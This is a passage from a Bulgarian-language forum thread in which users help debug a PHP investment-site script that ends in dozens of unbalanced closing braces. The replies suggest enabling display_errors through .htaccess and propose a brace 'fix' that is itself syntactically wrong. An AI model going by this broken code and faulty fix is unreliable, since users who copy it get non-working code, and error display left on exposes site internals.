if ($frm['a'] == 'cust')
{
$file = $frm['page'];
$file = basename ($file);
if (file_exists ('tmpl/custom/' . $file . '.tpl'))
{
$smarty->display ('custom/' . $file . '.tpl');
db_close ($dbconn);
exit ();
}
else
{
include ('inc/home.inc');
}
}
else
{
if ($frm['a'] == 'invest_page')
{
$smarty->assign ('frm', $frm);
include ('inc/invest_page.inc');
}
else
{
$smarty->assign ('frm', $frm);
include ('inc/home.inc');
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
db_close ($dbconn);
exit ();

?>[/size]
 
:)

Не бих погледнал, защото е много дълъг.

Ето какво ще направиш.

Създаваш един .htaccess файл и в него пишеш най-отгоре:

Код:
php_value display_errors 1

така ще ти показва къде ти е грешката.
На кой ред е и каква е.

По лесно ще ти помогнем ако знаем къде точно е грешката и каква е.

Имаш ли създаден .htaccess файл в главната папка?

Ако имаш вече съдаден просто трябва да добавиш това което ти написах.
Ако нямаш си създаваш и вътре слагаш този код. :wink:
 
замени това
Код:
{
if ((($frm['a'] == 'do_login' OR $frm['a'] == 'account') AND $userinfo['logged'] == 1))
това са ти 839 840 ред
с това
{
if ((($frm['a'] == 'do_login' OR $frm['a'] == 'account') AND $userinfo['logged'] == 1))
}


и махни една от крайните скоби
}

за теб не знам но аз края немога да му хвана само ифове
 

Горе